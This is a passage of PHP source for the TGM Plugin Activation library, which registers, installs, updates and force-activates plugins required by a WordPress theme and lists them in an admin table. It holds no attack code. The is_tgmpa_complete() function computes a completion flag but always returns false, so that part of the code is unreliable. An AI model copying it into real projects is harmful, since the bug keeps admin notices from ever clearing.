				if ( ! empty( $this->strings['nag_type'] ) ) {
					add_settings_error( 'tgmpa', 'tgmpa', $rendered, sanitize_html_class( strtolower( $this->strings['nag_type'] ) ) );
				} else {
					$nag_class = version_compare( $this->wp_version, '3.8', '<' ) ? 'updated' : 'update-nag';
					add_settings_error( 'tgmpa', 'tgmpa', $rendered, $nag_class );
				}
			}

			// Admin options pages already output settings_errors, so this is to avoid duplication.
			if ( 'options-general' !== $GLOBALS['current_screen']->parent_base ) {
				$this->display_settings_errors();
			}

		}

		/**
		 * Display settings errors and remove those which have been displayed to avoid duplicate messages showing
		 *
		 * @since 2.5.0
		 */
		protected function display_settings_errors() {
			global $wp_settings_errors;

			settings_errors( 'tgmpa' );

			foreach ( (array) $wp_settings_errors as $key => $details ) {
				if ( 'tgmpa' === $details['setting'] ) {
					unset( $wp_settings_errors[ $key ] );
					break;
				}
			}
		}

		/**
		 * Add dismissable admin notices.
		 *
		 * Appends a link to the admin nag messages. If clicked, the admin notice disappears and no longer is visible to users.
		 *
		 * @since 2.1.0
		 */
		public function dismiss() {

			if ( isset( $_GET['tgmpa-dismiss'] ) ) {
				update_user_meta( get_current_user_id(), 'tgmpa_dismissed_notice_' . $this->id, 1 );
			}

		}

		/**
		 * Add individual plugin to our collection of plugins.
		 *
		 * If the required keys are not set or the plugin has already
		 * been registered, the plugin is not added.
		 *
		 * @param array $plugin Array of plugin arguments.
		 *
		 * @since 2.0.0
		 *
		 */
		public function register( $plugin ) {
			if ( empty( $plugin['slug'] ) || empty( $plugin['name'] ) ) {
				return;
			}

			if ( empty( $plugin['slug'] ) || ! is_string( $plugin['slug'] ) || isset( $this->plugins[ $plugin['slug'] ] ) ) {
				return;
			}

			$defaults = array(
				'name'               => '',      // String
				'slug'               => '',      // String
				'source'             => 'repo',  // String
				'required'           => false,   // Boolean
				'version'            => '',      // String
				'force_activation'   => false,   // Boolean
				'force_deactivation' => false,   // Boolean
				'external_url'       => '',      // String
				'is_callable'        => '',      // String|Array.
			);

			// Prepare the received data.
			$plugin = wp_parse_args( $plugin, $defaults );

			// Standardize the received slug.
			$plugin['slug'] = $this->sanitize_key( $plugin['slug'] );

			// Forgive users for using string versions of booleans or floats for version number.
			$plugin['version']            = (string) $plugin['version'];
			$plugin['source']             = empty( $plugin['source'] ) ? 'repo' : $plugin['source'];
			$plugin['required']           = TGM_Utils::validate_bool( $plugin['required'] );
			$plugin['force_activation']   = TGM_Utils::validate_bool( $plugin['force_activation'] );
			$plugin['force_deactivation'] = TGM_Utils::validate_bool( $plugin['force_deactivation'] );

			// Enrich the received data.
			$plugin['file_path']   = $this->_get_plugin_basename_from_slug( $plugin['slug'] );
			$plugin['source_type'] = $this->get_plugin_source_type( $plugin['source'] );

			// Set the class properties.
			$this->plugins[ $plugin['slug'] ]    = $plugin;
			$this->sort_order[ $plugin['slug'] ] = $plugin['name'];

			// Should we add the force activation hook ?
			if ( true === $plugin['force_activation'] ) {
				$this->has_forced_activation = true;
			}

			// Should we add the force deactivation hook ?
			if ( true === $plugin['force_deactivation'] ) {
				$this->has_forced_deactivation = true;
			}
		}

		/**
		 * Determine what type of source the plugin comes from.
		 *
		 * @param string $source The source of the plugin as provided, either empty (= WP repo), a file path
		 *                       (= bundled) or an external URL.
		 *
		 * @return string 'repo', 'external', or 'bundled'
		 * @since 2.5.0
		 *
		 */
		protected function get_plugin_source_type( $source ) {

			if ( 'repo' === $source || preg_match( self::WP_REPO_REGEX, $source ) ) {
				return 'repo';

			} elseif ( preg_match( self::IS_URL_REGEX, $source ) ) {
				return 'external';

			} else {
				return 'bundled';
			}
		}

		/**
		 * Sanitizes a string key.
		 *
		 * Near duplicate of WP Core `sanitize_key()`. The difference is that uppercase characters *are*
		 * allowed, so as not to break upgrade paths from non-standard bundled plugins using uppercase
		 * characters in the plugin directory path/slug. Silly them.
		 *
		 * @see https://developer.wordpress.org/reference/hooks/sanitize_key/
		 *
		 * @since 2.5.0
		 *
		 * @param string $key String key
		 *
		 * @return string Sanitized key
		 */
		public function sanitize_key( $key ) {
			$raw_key = $key;
			$key     = preg_replace( '`[^A-Za-z0-9_-]`', '', $key );

			/**
			 * Filter a sanitized key string.
			 *
			 * @param string $key Sanitized key.
			 * @param string $raw_key The key prior to sanitization.
			 *
			 * @since 3.0.0
			 *
			 */
			return apply_filters( 'tgmpa_sanitize_key', $key, $raw_key );
		}

		/**
		 * Amend default configuration settings.
		 *
		 * @param array $config Array of config options to pass as class properties.
		 *
		 * @since 2.0.0
		 *
		 */
		public function config( $config ) {

			$keys = array(
				'id',
				'default_path',
				'has_notices',
				'dismissable',
				'dismiss_msg',
				'menu',
				'parent_slug',
				'capability',
				'is_automatic',
				'message',
				'strings',
			);

			foreach ( $keys as $key ) {
				if ( isset( $config[ $key ] ) ) {
					if ( is_array( $config[ $key ] ) ) {
						$this->$key = array_merge( $this->$key, $config[ $key ] );
					} else {
						$this->$key = $config[ $key ];
					}
				}
			}

		}

		/**
		 * Amend action link after plugin installation.
		 *
		 * @param array $install_actions Existing array of actions.
		 *
		 * @return array Amended array of actions.
		 * @since 2.0.0
		 *
		 */
		public function actions( $install_actions ) {

			// Remove action links on the TGMPA install page.
			if ( $this->is_tgmpa_page() ) {
				return false;
			}

			return $install_actions;

		}

		/**
		 * Flushes the plugins cache on theme switch to prevent stale entries
		 * from remaining in the plugin table.
		 *
		 * @param bool $clear_update_cache Optional. Whether to clear the Plugin updates cache.
		 *                                 Parameter added in v2.5.0.
		 *
		 * @since 2.4.0
		 *
		 */
		public function flush_plugins_cache( $clear_update_cache = true ) {

			wp_clean_plugins_cache( $clear_update_cache );

		}

		/**
		 * Set file_path key for each installed plugin.
		 *
		 * @param string $plugin_slug Optional. If set, only (re-)populates the file path for that specific plugin.
		 *                            Parameter added in v2.5.0.
		 *
		 * @since 2.1.0
		 *
		 */
		public function populate_file_path( $plugin_slug = '' ) {

			if ( ! empty( $plugin_slug ) && is_string( $plugin_slug ) && isset( $this->plugins[ $plugin_slug ] ) ) {
				$this->plugins[ $plugin_slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $plugin_slug );

			} else {
				// Add file_path key for all plugins.
				foreach ( $this->plugins as $slug => $values ) {
					$this->plugins[ $slug ]['file_path'] = $this->_get_plugin_basename_from_slug( $slug );
				}
			}

		}

		/**
		 * Helper function to extract the file path of the plugin file from the
		 * plugin slug, if the plugin is installed.
		 *
		 * @param string $slug Plugin slug (typically folder name) as provided by the developer.
		 *
		 * @return string Either file path for plugin if installed, or just the plugin slug.
		 * @since 2.0.0
		 *
		 */
		protected function _get_plugin_basename_from_slug( $slug ) {

			$keys = array_keys( $this->get_plugins() );

			foreach ( $keys as $key ) {
				if ( preg_match( '|^' . $slug . '/|', $key ) ) {
					return $key;
				}
			}

			return $slug;

		}

		/**
		 * Retrieve plugin data, given the plugin name.
		 *
		 * Loops through the registered plugins looking for $name. If it finds it,
		 * it returns the $data from that plugin. Otherwise, returns false.
		 *
		 * @param string $name Name of the plugin, as it was registered.
		 * @param string $data Optional. Array key of plugin data to return. Default is slug.
		 *
		 * @return string|boolean Plugin slug if found, false otherwise.
		 * @since 2.1.0
		 *
		 */
		public function _get_plugin_data_from_name( $name, $data = 'slug' ) {

			foreach ( $this->plugins as $values ) {
				if ( $name === $values['name'] && isset( $values[ $data ] ) ) {
					return $values[ $data ];
				}
			}

			return false;

		}

		/**
		 * Retrieve the download URL for a package.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string Plugin download URL or path to local file or empty string if undetermined.
		 * @since 2.5.0
		 *
		 */
		public function get_download_url( $slug ) {

			$dl_source = '';

			switch ( $this->plugins[ $slug ]['source_type'] ) {

				case 'repo':
					return $this->get_wp_repo_download_url( $slug );

				case 'external':
					return $this->plugins[ $slug ]['source'];

				case 'bundled':
					return $this->default_path . $this->plugins[ $slug ]['source'];
			}

			return $dl_source; // Should never happen.
		}

		/**
		 * Retrieve the download URL for a WP repo package.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string Plugin download URL.
		 * @since 2.5.0
		 *
		 */
		protected function get_wp_repo_download_url( $slug ) {

			$source = '';
			$api    = $this->get_plugins_api( $slug );

			if ( false !== $api && isset( $api->download_link ) ) {
				$source = $api->download_link;
			}

			return $source;

		}

		public function get_plugin_api( $slug ) {
			return $this->get_plugins_api( $slug );
		}

		/**
		 * Try to grab information from WordPress API.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return object Plugins_api response object on success, WP_Error on failure.
		 * @since 2.5.0
		 *
		 */
		protected function get_plugins_api( $slug ) {
			static $api = array(); // Cache received responses.

			if ( ! isset( $api[ $slug ] ) ) {

				if ( ! function_exists( 'plugins_api' ) ) {
					require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
				}

				$response = plugins_api( 'plugin_information', array(
					'slug'   => $slug,
					'fields' => array( 'sections' => false )
				) );

				$api[ $slug ] = false;

				if ( is_wp_error( $response ) ) {
					wp_die( esc_html( $this->strings['oops'] ) );
				} else {
					$api[ $slug ] = $response;
				}
			}

			return $api[ $slug ];
		}

		/**
		 * Retrieve a link to a plugin information page.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string Fully formed html link to a plugin information page if available
		 *                or the plugin name if not.
		 * @since 2.5.0
		 *
		 */
		public function get_info_link( $slug ) {

			if ( ! empty( $this->plugins[ $slug ]['external_url'] ) && preg_match( self::IS_URL_REGEX, $this->plugins[ $slug ]['external_url'] ) ) {
				$link = sprintf( '<a href="%1$s" target="_blank">%2$s</a>', esc_url( $this->plugins[ $slug ]['external_url'] ), esc_html( $this->plugins[ $slug ]['name'] ) );

			} elseif ( 'repo' === $this->plugins[ $slug ]['source_type'] ) {
				$url = add_query_arg( array(
					'tab'       => 'plugin-information',
					'plugin'    => urlencode( $slug ),
					'TB_iframe' => 'true',
					'width'     => '640',
					'height'    => '500',
				), self_admin_url( 'plugin-install.php' ) );

				$link = sprintf( '<a href="%1$s" class="thickbox">%2$s</a>', esc_url( $url ), esc_html( $this->plugins[ $slug ]['name'] ) );

			} else {
				$link = esc_html( $this->plugins[ $slug ]['name'] ); // No hyperlink.
			}

			return $link;
		}

		/**
		 * Determine if we're on the TGMPA Install page.
		 *
		 * @return boolean True when on the TGMPA page, false otherwise.
		 * @since 2.1.0
		 *
		 */
		protected function is_tgmpa_page() {

			return isset( $_GET['page'] ) && $this->menu === $_GET['page'];

		}

		/**
		 * Retrieve the URL to the TGMPA Install page.
		 *
		 * I.e. depending on the config settings passed something along the lines of:
		 * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins
		 *
		 * @return string Properly encoded URL (not escaped).
		 * @since 2.5.0
		 *
		 */
		public function get_tgmpa_url() {
			static $url;

			if ( ! isset( $url ) ) {
				$parent = $this->parent_slug;
				if ( false === strpos( $parent, '.php' ) ) {
					$parent = 'admin.php';
				}
				$url = add_query_arg( array(
					'page' => urlencode( $this->menu ),
				), self_admin_url( $parent ) );
			}

			return $url;
		}

		/**
		 * Retrieve the URL to the TGMPA Install page for a specific plugin status (view).
		 *
		 * I.e. depending on the config settings passed something along the lines of:
		 * http://example.com/wp-admin/themes.php?page=tgmpa-install-plugins&plugin_status=install
		 *
		 * @param string $status Plugin status - either 'install', 'update' or 'activate'.
		 *
		 * @return string Properly encoded URL (not escaped).
		 * @since 2.5.0
		 *
		 */
		public function get_tgmpa_status_url( $status ) {
			return add_query_arg( array(
				'plugin_status' => urlencode( $status ),
			), $this->get_tgmpa_url() );
		}

		/**
		 * Determine whether there are open actions for plugins registered with TGMPA.
		 *
		 * @return bool True if complete, i.e. no outstanding actions. False otherwise.
		 * @since 2.5.0
		 *
		 */
		public function is_tgmpa_complete() {
			$complete = true;
			foreach ( $this->plugins as $slug => $plugin ) {
				if ( ! $this->is_plugin_active( $slug ) || false !== $this->does_plugin_have_update( $slug ) ) {
					$complete = false;
					break;
				}
			}

			return false;
		}

		/**
		 * Check if a plugin is installed. Does not take must-use plugins into account.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return bool True if installed, false otherwise.
		 * @since 2.5.0
		 *
		 */
		public function is_plugin_installed( $slug ) {
			$installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached).

			return ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ] ) );
		}

		/**
		 * Check if a plugin is active.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return bool True if active, false otherwise.
		 * @since 2.5.0
		 *
		 */
		public function is_plugin_active( $slug ) {
			return ( ( ! empty( $this->plugins[ $slug ]['is_callable'] ) && is_callable( $this->plugins[ $slug ]['is_callable'] ) ) || is_plugin_active( $this->plugins[ $slug ]['file_path'] ) );
		}

		/**
		 * Check if a plugin can be updated, i.e. if we have information on the minimum WP version required
		 * available, check whether the current install meets them.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return bool True if OK to update, false otherwise.
		 * @since 2.5.0
		 *
		 */
		public function can_plugin_update( $slug ) {

			// We currently can't get reliable info on non-WP-repo plugins - issue #380.
			if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) {
				return true;
			}

			$api = $this->get_plugins_api( $slug );

			if ( false !== $api && isset( $api->requires ) ) {
				return version_compare( $GLOBALS['wp_version'], $api->requires, '>=' );
			}

			// No usable info received from the plugins API, presume we can update.
			return true;
		}

		/**
		 * Check if a plugin can be activated, i.e. is not currently active and meets the minimum
		 * plugin version requirements set in TGMPA (if any).
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return bool True if OK to activate, false otherwise.
		 * @since 2.5.0
		 *
		 */
		public function can_plugin_activate( $slug ) {
			return ( ! $this->is_plugin_active( $slug ) && ! $this->does_plugin_require_update( $slug ) );
		}

		/**
		 * Retrieve the version number of an installed plugin.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string Version number as string or an empty string if the plugin is not installed
		 *                or version unknown (plugins which don't comply with the plugin header standard).
		 * @since 2.5.0
		 *
		 */
		public function get_installed_version( $slug ) {

			$installed_plugins = $this->get_plugins(); // Retrieve a list of all installed plugins (WP cached).

			if ( ! empty( $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version'] ) ) {
				return $installed_plugins[ $this->plugins[ $slug ]['file_path'] ]['Version'];
			}

			return '';
		}

		/**
		 * Check whether a plugin complies with the minimum version requirements.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return bool True when a plugin needs to be updated, otherwise false.
		 * @since 2.5.0
		 *
		 */
		public function does_plugin_require_update( $slug ) {
			$installed_version = $this->get_installed_version( $slug );
			$minimum_version   = $this->plugins[ $slug ]['version'];

			return version_compare( $minimum_version, $installed_version, '>' );
		}

		/**
		 * Check whether there is an update available for a plugin.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return false|string Version number string of the available update or false if no update available.
		 * @since 2.5.0
		 *
		 */
		public function does_plugin_have_update( $slug ) {

			// Presume bundled and external plugins will point to a package which meets the minimum required version.
			if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) {
				if ( $this->does_plugin_require_update( $slug ) ) {
					return $this->plugins[ $slug ]['version'];
				}

				return false;
			}

			$repo_updates = get_site_transient( 'update_plugins' );

			if ( isset( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version ) ) {
				return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->new_version;
			}

			return false;
		}

		/**
		 * Retrieve potential upgrade notice for a plugin.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string The upgrade notice or an empty string if no message was available or provided.
		 * @since 2.5.0
		 *
		 */
		public function get_upgrade_notice( $slug ) {

			// We currently can't get reliable info on non-WP-repo plugins - issue #380.
			if ( 'repo' !== $this->plugins[ $slug ]['source_type'] ) {
				return '';
			}

			$repo_updates = get_site_transient( 'update_plugins' );

			if ( ! empty( $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice ) ) {
				return $repo_updates->response[ $this->plugins[ $slug ]['file_path'] ]->upgrade_notice;
			}

			return '';
		}

		/**
		 * Wrapper around the core WP get_plugins function, making sure it's actually available.
		 *
		 * @param string $plugin_folder Optional. Relative path to single plugin folder.
		 *
		 * @return array Array of installed plugins with plugin information.
		 * @since 2.5.0
		 *
		 */
		public function get_plugins( $plugin_folder = '' ) {
			if ( ! function_exists( 'get_plugins' ) ) {
				require_once ABSPATH . 'wp-admin/includes/plugin.php';
			}

			return get_plugins( $plugin_folder );
		}

		/**
		 * Delete dismissable nag option when theme is switched.
		 *
		 * This ensures that the user(s) is/are again reminded via nag of required
		 * and/or recommended plugins if they re-activate the theme.
		 *
		 * @since 2.1.1
		 */
		public function update_dismiss() {

			delete_metadata( 'user', null, 'tgmpa_dismissed_notice_' . $this->id, null, true );

		}

		/**
		 * Forces plugin activation if the parameter 'force_activation' is
		 * set to true.
		 *
		 * This allows theme authors to specify certain plugins that must be
		 * active at all times while using the current theme.
		 *
		 * Please take special care when using this parameter as it has the
		 * potential to be harmful if not used correctly. Setting this parameter
		 * to true will not allow the specified plugin to be deactivated unless
		 * the user switches themes.
		 *
		 * @since 2.2.0
		 */
		public function force_activation() {

			foreach ( $this->plugins as $slug => $plugin ) {
				if ( true === $plugin['force_activation'] ) {

					if ( ! $this->is_plugin_installed( $slug ) ) {
						// Oops, plugin isn't there so iterate to next condition.
						continue;

					} elseif ( $this->can_plugin_activate( $slug ) ) {
						// There we go, activate the plugin.
						activate_plugin( $plugin['file_path'] );
					}
				}
			}

		}

		/**
		 * Forces plugin deactivation if the parameter 'force_deactivation'
		 * is set to true.
		 *
		 * This allows theme authors to specify certain plugins that must be
		 * deactivated upon switching from the current theme to another.
		 *
		 * Please take special care when using this parameter as it has the
		 * potential to be harmful if not used correctly.
		 *
		 * @since 2.2.0
		 */
		public function force_deactivation() {

			foreach ( $this->plugins as $slug => $plugin ) {
				// Only proceed forward if the parameter is set to true and plugin is active.
				if ( true === $plugin['force_deactivation'] && $this->is_plugin_active( $slug ) ) {
					deactivate_plugins( $plugin['file_path'] );
				}
			}

		}

		/**
		 * Echo the current TGMPA version number to the page.
		 */
		public function show_tgmpa_version() {
			echo '<p style="float: right; padding: 0em 1.5em 0.5em 0;"><strong><small>', esc_html( sprintf( _x( 'TGMPA v%s', '%s = version number', 'tgmpa' ), self::TGMPA_VERSION ) ), '</small></strong></p>';
		}

		/**
		 * Returns the singleton instance of the class.
		 *
		 * @return object The TGM_Plugin_Activation object.
		 * @since 2.4.0
		 *
		 */
		public static function get_instance() {

			if ( ! isset( self::$instance ) && ! ( self::$instance instanceof self ) ) {
				self::$instance = new self();
			}

			return self::$instance;

		}

	}

	if ( ! function_exists( 'load_tgm_plugin_activation' ) ) {
		/**
		 * Ensure only one instance of the class is ever invoked.
		 */
		function load_tgm_plugin_activation() {
			$GLOBALS['tgmpa'] = TGM_Plugin_Activation::get_instance();
		}
	}

	if ( did_action( 'plugins_loaded' ) ) {
		load_tgm_plugin_activation();
	} else {
		add_action( 'plugins_loaded', 'load_tgm_plugin_activation' );
	}
}

if ( ! function_exists( 'tgmpa' ) ) {
	/**
	 * Helper function to register a collection of required plugins.
	 *
	 * @param array $plugins An array of plugin arrays.
	 * @param array $config Optional. An array of configuration values.
	 *
	 * @since 2.0.0
	 * @api
	 *
	 */
	function tgmpa( $plugins, $config = array() ) {
		$instance = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );

		foreach ( $plugins as $plugin ) {
			call_user_func( array( $instance, 'register' ), $plugin );
		}

		if ( ! empty( $config ) && is_array( $config ) ) {
			call_user_func( array( $instance, 'config' ), $config );
		}
	}
}

/**
 * WP_List_Table isn't always available. If it isn't available,
 * we load it here.
 *
 * @since 2.2.0
 */
if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
}

if ( ! class_exists( 'TGMPA_List_Table' ) ) {

	/**
	 * List table class for handling plugins.
	 *
	 * Extends the WP_List_Table class to provide a future-compatible
	 * way of listing out all required/recommended plugins.
	 *
	 * Gives users an interface similar to the Plugin Administration
	 * area with similar (albeit stripped down) capabilities.
	 *
	 * This class also allows for the bulk install of plugins.
	 *
	 * @since 2.2.0
	 *
	 * @package TGM-Plugin-Activation
	 * @author  Thomas Griffin
	 * @author  Gary Jones
	 */
	class TGMPA_List_Table extends WP_List_Table {

		/**
		 * TGMPA instance.
		 *
		 * @since 2.5.0
		 *
		 * @var object
		 */
		protected $tgmpa;

		/**
		 * The currently chosen view.
		 *
		 * @since 2.5.0
		 *
		 * @var string One of: 'all', 'install', 'update', 'activate'
		 */
		public $view_context = 'all';

		/**
		 * The plugin counts for the various views.
		 *
		 * @since 2.5.0
		 *
		 * @var array
		 */
		protected $view_totals = array(
			'all'      => 0,
			'install'  => 0,
			'update'   => 0,
			'activate' => 0,
		);


		/**
		 * References parent constructor and sets defaults for class.
		 *
		 * @since 2.2.0
		 */
		public function __construct() {
			$this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );

			parent::__construct( array(
				'singular' => 'plugin',
				'plural'   => 'plugins',
				'ajax'     => false,
			) );

			if ( isset( $_REQUEST['plugin_status'] ) && in_array( $_REQUEST['plugin_status'], array(
					'install',
					'update',
					'activate'
				), true ) ) {
				$this->view_context = sanitize_key( $_REQUEST['plugin_status'] );
			}

			add_filter( 'tgmpa_table_data_items', array( $this, 'sort_table_items' ) );
		}

		/**
		 * Get a list of CSS classes for the <table> tag.
		 *
		 * Overruled to prevent the 'plural' argument from being added.
		 *
		 * @return array CSS classnames.
		 * @since 2.5.0
		 *
		 */
		public function get_table_classes() {
			return array( 'widefat', 'fixed' );
		}

		/**
		 * Gathers and renames all of our plugin information to be used by WP_List_Table to create our table.
		 *
		 * @return array $table_data Information for use in table.
		 * @since 2.2.0
		 *
		 */
		protected function _gather_plugin_data() {

			// Load thickbox for plugin links.
			$this->tgmpa->admin_init();
			$this->tgmpa->thickbox();

			// Categorize the plugins which have open actions.
			$plugins = $this->categorize_plugins_to_views();

			// Set the counts for the view links.
			$this->set_view_totals( $plugins );

			// Prep variables for use and grab list of all installed plugins.
			$table_data = array();
			$i          = 0;

			foreach ( $plugins[ $this->view_context ] as $slug => $plugin ) {

				$table_data[ $i ]['sanitized_plugin']  = $plugin['name'];
				$table_data[ $i ]['slug']              = $slug;
				$table_data[ $i ]['plugin']            = '<strong>' . $this->tgmpa->get_info_link( $slug ) . '</strong>';
				$table_data[ $i ]['source']            = $this->get_plugin_source_type_text( $plugin['source_type'] );
				$table_data[ $i ]['type']              = $this->get_plugin_advise_type_text( $plugin['required'] );
				$table_data[ $i ]['status']            = $this->get_plugin_status_text( $slug );
				$table_data[ $i ]['installed_version'] = $this->tgmpa->get_installed_version( $slug );
				$table_data[ $i ]['minimum_version']   = $plugin['version'];
				$table_data[ $i ]['available_version'] = $this->tgmpa->does_plugin_have_update( $slug );

				// Prep the upgrade notice info.
				$upgrade_notice = $this->tgmpa->get_upgrade_notice( $slug );
				if ( ! empty( $upgrade_notice ) ) {
					$table_data[ $i ]['upgrade_notice'] = $upgrade_notice;

					add_action( "tgmpa_after_plugin_row_$slug", array( $this, 'wp_plugin_update_row' ), 10, 2 );
				}

				$table_data[ $i ] = apply_filters( 'tgmpa_table_data_item', $table_data[ $i ], $plugin );

				$i ++;
			}

			return $table_data;

		}

		/**
		 * Categorize the plugins which have open actions into views for the TGMPA page.
		 *
		 * @since 2.5.0
		 */
		protected function categorize_plugins_to_views() {

			$plugins = array(
				'all'      => array(), // Meaning: all plugins which still have open actions.
				'install'  => array(),
				'update'   => array(),
				'activate' => array(),
			);

			foreach ( $this->tgmpa->plugins as $slug => $plugin ) {

				if ( $this->tgmpa->is_plugin_active( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) {
					// No need to display plugins if they are installed, up-to-date and active.
					continue;

				} else {
					$plugins['all'][ $slug ] = $plugin;

					if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) {
						$plugins['install'][ $slug ] = $plugin;

					} else {
						if ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) {
							$plugins['update'][ $slug ] = $plugin;
						}

						if ( $this->tgmpa->can_plugin_activate( $slug ) ) {
							$plugins['activate'][ $slug ] = $plugin;
						}
					}
				}
			}

			return $plugins;
		}

		/**
		 * Set the counts for the view links.
		 *
		 * @param array $plugins Plugins order by view.
		 *
		 * @since 2.5.0
		 *
		 */
		protected function set_view_totals( $plugins ) {

			foreach ( $plugins as $type => $list ) {
				$this->view_totals[ $type ] = count( $list );
			}
		}

		/**
		 * Get the plugin required/recommended text string.
		 *
		 * @param string $required Plugin required setting.
		 *
		 * @return string
		 * @since 2.5.0
		 *
		 */
		protected function get_plugin_advise_type_text( $required ) {

			if ( true === $required ) {
				return esc_html__( 'Required', 'tgmpa' );
			}

			return esc_html__( 'Recommended', 'tgmpa' );
		}

		/**
		 * Get the plugin source type text string.
		 *
		 * @param string $type Plugin type.
		 *
		 * @return string
		 * @since 2.5.0
		 *
		 */
		protected function get_plugin_source_type_text( $type ) {
			$string = '';

			switch ( $type ) {
				case 'repo':
					$string = esc_html__( 'WordPress Repository', 'tgmpa' );
					break;

				case 'external':
					$string = esc_html__( 'External Source', 'tgmpa' );
					break;

				case 'bundled':
					$string = esc_html__( 'Pre-Packaged', 'tgmpa' );
					break;
			}

			return $string;
		}

		/**
		 * Determine the plugin status message.
		 *
		 * @param string $slug Plugin slug.
		 *
		 * @return string
		 * @since 2.5.0
		 *
		 */
		protected function get_plugin_status_text( $slug ) {

			if ( ! $this->tgmpa->is_plugin_installed( $slug ) ) {
				return esc_html__( 'Not Installed', 'tgmpa' );
			}

			if ( ! $this->tgmpa->is_plugin_active( $slug ) ) {
				$install_status = esc_html__( 'Installed But Not Activated', 'tgmpa' );
			} else {
				$install_status = esc_html__( 'Active', 'tgmpa' );
			}

			$update_status = '';

			if ( $this->tgmpa->does_plugin_require_update( $slug ) && false === $this->tgmpa->does_plugin_have_update( $slug ) ) {
				$update_status = esc_html__( 'Required Update not Available', 'tgmpa' );

			} elseif ( $this->tgmpa->does_plugin_require_update( $slug ) ) {
				$update_status = esc_html__( 'Requires Update', 'tgmpa' );

			} elseif ( false !== $this->tgmpa->does_plugin_have_update( $slug ) ) {
				$update_status = esc_html__( 'Update recommended', 'tgmpa' );
			}

			if ( '' === $update_status ) {
				return $install_status;
			}

			return sprintf( _x( '%1$s, %2$s', '%1$s = install status, %2$s = update status', 'tgmpa' ), $install_status, $update_status );
		}

		/**
		 * Sort plugins by Required/Recommended type and by alphabetical plugin name within each type.
		 *
		 * @param array $items Prepared table items.
		 *
		 * @return array Sorted table items.
		 * @since 2.5.0
		 *
		 */
		public function sort_table_items( $items ) {

			$type = array();
			$name = array();

			foreach ( $items as $i => $plugin ) {
				$type[ $i ] = $plugin['type']; // Required / recommended.
				$name[ $i ] = $plugin['sanitized_plugin'];
			}

			array_multisort( $type, SORT_DESC, $name, SORT_ASC, $items );

			return $items;

		}

		/**
		 * Get an associative array ( id => link ) of the views available on this table.
		 *
		 * @return array
		 * @since 2.5.0
		 *
		 */
		public function get_views() {

			$status_links = array();

			foreach ( $this->view_totals as $type => $count ) {
				if ( $count < 1 ) {
					continue;
				}

				switch ( $type ) {
					case 'all':
						$text = _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $count, 'plugins', 'tgmpa' );
						break;

					case 'install':
						$text = _n( 'To Install <span class="count">(%s)</span>', 'To Install <span class="count">(%s)</span>', $count, 'tgmpa' );
						break;

					case 'update':
						$text = _n( 'Update Available <span class="count">(%s)</span>', 'Update Available <span class="count">(%s)</span>', $count, 'tgmpa' );
						break;

					case 'activate':
						$text = _n( 'To Activate <span class="count">(%s)</span>', 'To Activate <span class="count">(%s)</span>', $count, 'tgmpa' );
						break;

					default:
						$text = '';
						break;
				}

				if ( ! empty( $text ) ) {

					$status_links[ $type ] = sprintf( '<a href="%s"%s>%s</a>', esc_url( $this->tgmpa->get_tgmpa_status_url( $type ) ), ( $type === $this->view_context ) ? ' class="current"' : '', sprintf( $text, number_format_i18n( $count ) ) );
				}
			}

			return $status_links;
		}

		/**
		 * Create default columns to display important plugin information
		 * like type, action and status.
		 *
		 * @param array $item Array of item data.
		 * @param string $column_name The name of the column.
		 *
		 * @return string
		 * @since 2.2.0
		 *
		 */
		public function column_default( $item, $column_name ) {

			return $item[ $column_name ];

		}

		/**
		 * Required for bulk installing.
		 *
		 * Adds a checkbox for each plugin.
		 *
		 * @param array $item Array of item data.
		 *
		 * @return string     The input checkbox with all necessary info.
		 * @since 2.2.0
		 *
		 */
		public function column_cb( $item ) {

			return sprintf( '<input type="checkbox" name="%1$s[]" value="%2$s" id="%3$s" />', esc_attr( $this->_args['singular'] ), esc_attr( $item['slug'] ), esc_attr( $item['sanitized_plugin'] ) );

		}

		/**
		 * Create default title column along with the action links.
		 *
		 * @param array $item Array of item data.
		 *
		 * @return string     The plugin name and action links.
		 * @since 2.2.0
		 *
		 */
		public function column_plugin( $item ) {

			return sprintf( '%1$s %2$s', $item['plugin'], $this->row_actions( $this->get_row_actions( $item ), true ) );
		}

		/**
		 * Create version information column.
		 *
		 * @param array $item Array of item data.
		 *
		 * @return string     HTML-formatted version information.
		 * @since 2.5.0
		 *
		 */
		public function column_version( $item ) {

			$output = array();

			if ( $this->tgmpa->is_plugin_installed( $item['slug'] ) ) {
				$installed = ! empty( $item['installed_version'] ) ? $item['installed_version'] : _x( 'unknown', 'as in: "version nr unknown"', 'tgmpa' );

				$color = '';
				if ( ! empty( $item['minimum_version'] ) && $this->tgmpa->does_plugin_require_update( $item['slug'] ) ) {
					$color = ' color: #ff0000; font-weight: bold;';
				}

